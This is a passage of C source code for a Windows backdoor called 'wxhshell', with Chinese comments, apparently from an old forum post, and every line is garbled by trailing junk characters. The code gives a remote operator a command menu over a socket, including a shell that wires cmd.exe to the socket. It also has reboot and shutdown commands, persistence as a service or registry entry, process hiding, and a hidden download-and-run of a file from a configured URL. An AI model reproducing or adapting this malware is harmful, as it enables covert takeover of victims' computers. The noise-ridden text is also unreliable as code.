    switch(cmd[0]) { Xa U ^^K  
  o|s|Wm x>u  
  // 帮助 }&l%>P  
  case '?': { dZd]p8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); RbA.&=3  
    break; oSR;Im<2  
  } sw(|EZ7F  
  // 安装 c/-'^+9  
  case 'i': { r/+~4W5  
    if(Install()) );p:[=$71  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @&Af [X4s  
    else ){tT B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gHH[QLD=I  
    break; QcdAg%"yy  
    } .g_Kab3?L  
  // 卸载 >bwq  
  case 'r': { py/#h$eY  
    if(Uninstall()) N71%l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k <LFH(  
    else 7X/B9Hee  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x)kp*^/  
    break; YO.+ 06X  
    } 8(:O5#  
  // 显示 wxhshell 所在路径 z_$F)*PL  
  case 'p': { =^ x1: Ak  
    char svExeFile[MAX_PATH]; %$R]NL|  
    strcpy(svExeFile,"\n\r"); Uo:=-NNI  
      strcat(svExeFile,ExeFile); EBUCG"e  
        send(wsh,svExeFile,strlen(svExeFile),0); FbD9G6h5  
    break; lxLEYDGFS  
    } R{Me~L?  
  // 重启 ML1/1GK*i+  
  case 'b': { R8, g^N  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cEPqcy *  
    if(Boot(REBOOT)) 2B=BRVtSs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QyEoWKu;  
    else { pc](  
    closesocket(wsh); `jGG^w3  
    ExitThread(0); )3!z2f:e  
    } k`0m|<$  
    break; Q,>]f@m  
    } #t&L}=G{%  
  // 关机 @w;&:J9m  
  case 'd': { P[gYENQ   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kK]L(ZU +  
    if(Boot(SHUTDOWN)) M+M\3U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F*,RDM'M  
    else { Ij7[2V]c  
    closesocket(wsh); KA9v?_@{F  
    ExitThread(0); D;oX*`  
    } 14 hE<u  
    break; ]6?6 k4@  
    } @t#Ju1Y  
  // 获取shell jH2_Ekgc;_  
  case 's': { Cl!qdh6  
    CmdShell(wsh); CGZ3-OW@E  
    closesocket(wsh); z dUSmb  
    ExitThread(0); ff 2`4_ ,|  
    break; R\lUE,o]<q  
  } 3c[TPD_:  
  // 退出 AKUmh  
  case 'x': { 6Iv &c2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1>_2 =^[  
    CloseIt(wsh); 3m/XT"D  
    break; /,^AG2]( f  
    } k:`yxxYIh  
  // 离开 .QM>^(o$Z  
  case 'q': { }m.45n/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); GsNZr=;C  
    closesocket(wsh); .vtV2lq  
    WSACleanup(); /qPhptV  
    exit(1); ^qNr<Ye  
    break; *skmTioj&  
        } +(8Z8]Jf  
  } m}sh (W5\  
  } V\r2=ok@y  
bG!/%,s  
  // 提示信息 :Mnl1;oh  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d`J~w/] `\  
} 3|1v)E  
  } Qis/'9a  
1c*XmMB  
  return; N|  
} @*5(KIeeC>  
9<1dps=c  
// shell模块句柄 q3/ 0xN+?  
int CmdShell(SOCKET sock) Xny{8Oo<1?  
{ '>#8 F.  
STARTUPINFO si; ,^&amWey  
ZeroMemory(&si,sizeof(si)); ")eY{C  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; eDS,}Z'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1HBXD\!  
PROCESS_INFORMATION ProcessInfo; *w23(f  
char cmdline[]="cmd"; X~ g9TUv8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qW|_|%{U+  
  return 0; !4(QeV-=  
} 1R7w  
cP >[H:\Xc  
// 自身启动模式 klx28/]  
int StartFromService(void) P?j;&@$^e  
{ YaAOP'p  
typedef struct )EIT>u=  
{ %<^j=K= 0  
  DWORD ExitStatus; 2 UPG8]  
  DWORD PebBaseAddress; \MB$Cwc  
  DWORD AffinityMask; RZqou|ki  
  DWORD BasePriority; 6l& ,!fd  
  ULONG UniqueProcessId; (A\\s$fE/1  
  ULONG InheritedFromUniqueProcessId; Z6IWQo,)Rh  
}   PROCESS_BASIC_INFORMATION; IQQ QB  
v] hu5t  
PROCNTQSIP NtQueryInformationProcess; O{ |Ug~  
#= @?)\~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k83S.*9Mx  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L=V.@?  
E5g|*M.+f  
  HANDLE             hProcess; ]Yk)A.y  
  PROCESS_BASIC_INFORMATION pbi; J3_Ou2cF`  
,d$D0w  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Pd;Gc@'~  
  if(NULL == hInst ) return 0; 0@kL<\u  
CX#d9 8\b  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); J1@skj4#\~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !:M+7kmr7t  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); yVgHu#?PM  
nG0R1<  
  if (!NtQueryInformationProcess) return 0; ,#K{+1z:  
 N}KL'  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); { _~vf  
  if(!hProcess) return 0; %`}nP3  
arN=OB  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; & 6nLnMF8x  
KRb'kW  
  CloseHandle(hProcess); t:*1* ;  
Ih)4.lLcKn  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2BV]@]qB  
if(hProcess==NULL) return 0; #|=Q5"wU  
~,.'#=V  
HMODULE hMod; ]EqwDw4  
char procName[255]; 8yk4#CZ  
unsigned long cbNeeded; YFP<^y=  
BJKv9x1jK  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _RE;}1rb,  
G%viWWTY  
  CloseHandle(hProcess); -quJX;~  
*auT_*  
if(strstr(procName,"services")) return 1; // 以服务启动 fGoJP[ae  
IYv.~IQO  
  return 0; // 注册表启动 3%)@c P:?  
} F ESl#.}  
% _nmv  
// 主模块 Hb0_QT~  
int StartWxhshell(LPSTR lpCmdLine) |G_,1$  
{ \}W !  
  SOCKET wsl; k/1S7X[  
BOOL val=TRUE; #HZ W57"  
  int port=0; Up0kTL  
  struct sockaddr_in door; TjHt:%7.  
}46Zfg\T6n  
  if(wscfg.ws_autoins) Install(); oX7_v_:J\R  
oRZe?h^r#  
port=atoi(lpCmdLine); 5+yy:#J]  
'I$kDM mwh  
if(port<=0) port=wscfg.ws_port; \>x1#Vr>#V  
aJ}hlM>  
  WSADATA data; oU se~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )!~,xl^j{}  
Nxna H!wS  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   WyRSy-{U(}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); H!'4A&  
  door.sin_family = AF_INET; F}=_"IkZ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); udmLHc  
  door.sin_port = htons(port); n|Ts:>`V  
%xr'96d  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _0UE*l$t  
closesocket(wsl); =J|jCK[r  
return 1; BS(jC  
} \Foo:jON  
m^ Epw4eg  
  if(listen(wsl,2) == INVALID_SOCKET) { %7QSBL  
closesocket(wsl); m_.9 PZ  
return 1; L/In~' *-  
} X ]W)D S  
  Wxhshell(wsl); hV:++g  
  WSACleanup(); "!CVm{7[  
K+"3He  
return 0; HJBGxy w  
:zY;eJKm  
} f@[)*([  
%a FZbLK  
// 以NT服务方式启动 -*Tf.c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) '#SZ|Rr6tX  
{ JI  cm$  
DWORD   status = 0; Jg)( F|>o  
  DWORD   specificError = 0xfffffff; rT\~VJ>+i  
mE_%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; h=\1ZQKC)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; I L,lXB<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v|KIVBkbT  
  serviceStatus.dwWin32ExitCode     = 0; $B7c\MR j  
  serviceStatus.dwServiceSpecificExitCode = 0; |}UA=? Xl  
  serviceStatus.dwCheckPoint       = 0; KDP"z  
  serviceStatus.dwWaitHint       = 0; iJj!-a:z.  
w}#3 pU<<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); UBJYs{zz  
  if (hServiceStatusHandle==0) return; Nu3gkIz5z-  
$2+s3)  
status = GetLastError(); fDqDU  
  if (status!=NO_ERROR) Zb2PFwcy  
{ x)Zb:"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %|ClYr  
    serviceStatus.dwCheckPoint       = 0; pL!,1D!  
    serviceStatus.dwWaitHint       = 0; <$K=3&:s8q  
    serviceStatus.dwWin32ExitCode     = status; !3iZa*  
    serviceStatus.dwServiceSpecificExitCode = specificError; #d*0 )w  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); RyU8{-q  
    return; 5*+DN U@  
  } 'J3yJ{  
!Z |_3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4_ypFuS^  
  serviceStatus.dwCheckPoint       = 0; [V qiF~o,  
  serviceStatus.dwWaitHint       = 0; Wp+lI1t  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \4^zY'  
} b8Z_o N5!  
S(nQ?;9,  
// 处理NT服务事件,比如:启动、停止 63J3NwFt  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >F:1a\c  
{ .c&&@>m@.  
switch(fdwControl) V8nQ/9R;  
{ $_;rqTk]g  
case SERVICE_CONTROL_STOP: <Np Mv!g  
  serviceStatus.dwWin32ExitCode = 0; ij#v_~g3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; i/I  
  serviceStatus.dwCheckPoint   = 0; ]*'_a@h  
  serviceStatus.dwWaitHint     = 0; lNf);!}SM  
  { :*BN>*1^\r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :3XvHL0rx  
  } >2#<tH0  
  return; lZ)6d-vK  
case SERVICE_CONTROL_PAUSE: xf/K+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; . AOc$Nt  
  break; mtkZF{3Jx  
case SERVICE_CONTROL_CONTINUE: ms;zC/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "U"fsAc#  
  break; 0^\H$An*k  
case SERVICE_CONTROL_INTERROGATE: e$P^},0/  
  break; TB?'<hD:  
}; 0Ze&GK'Hf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .>}I/+n  
} D "5|\  
$] xH"Z%"  
// 标准应用程序主函数 `xHpL8i$5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) XR9kxTuk  
{ )B +o F7  
$GU  s\  
// 获取操作系统版本 ("PZ!z1m1  
OsIsNt=GetOsVer(); JP0a Nu  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -^yc<%U  
fZr{x$]N0  
  // 从命令行安装 a%BC{XX  
  if(strpbrk(lpCmdLine,"iI")) Install(); tmoCy0qWz  
b;d7mh 4  
  // 下载执行文件 5%(whSKZF  
if(wscfg.ws_downexe) { =OtW!vx#R.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) d*e8P ep  
  WinExec(wscfg.ws_filenam,SW_HIDE); qdwo2u  
} EtPB_! +  
EPLHw  
if(!OsIsNt) { {fDRVnI?  
// 如果时win9x,隐藏进程并且设置为注册表启动 \p( 0H6  
HideProc(); BeQ'\#q,  
StartWxhshell(lpCmdLine); Ix,b-C~  
} N0}[&rE 8  
else ;<[!;8  
  if(StartFromService()) /DH`7E  
  // 以服务方式启动 OmZZTeGg1s  
  StartServiceCtrlDispatcher(DispatchTable); iG"v  
else .sQV0jF{  
  // 普通方式启动 !`7evV:  
  StartWxhshell(lpCmdLine); 'YG P42#  
K3h];F! ^  
return 0; {+cx}`  
}
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只看该作者 1 发表于: 2006-10-10
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